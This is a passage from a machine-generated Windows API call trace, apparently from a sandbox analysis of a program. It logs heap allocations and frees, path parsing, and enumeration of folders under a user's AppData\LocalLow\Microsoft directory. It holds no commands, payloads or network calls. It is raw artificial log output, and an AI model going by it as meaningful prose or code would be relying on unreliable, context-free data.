(in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.547] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.547] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.552] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.553] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.554] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0271.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0271.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0271.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0271.556] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.556] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.556] PathFindFileNameW (pszPath="") returned="" [0271.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.558] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.558] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0271.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x72ea40 [0271.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f9050 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091560 | out: hHeap=0x640000) returned 1 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x6f9050 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.559] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30827b0 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x72ea40 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f9050 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3083390 | out: hHeap=0x640000) returned 1 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.559] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x6f9050 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3023cf8 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30827b0 | out: hHeap=0x640000) returned 1 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.560] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x3016548 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.560] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.560] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 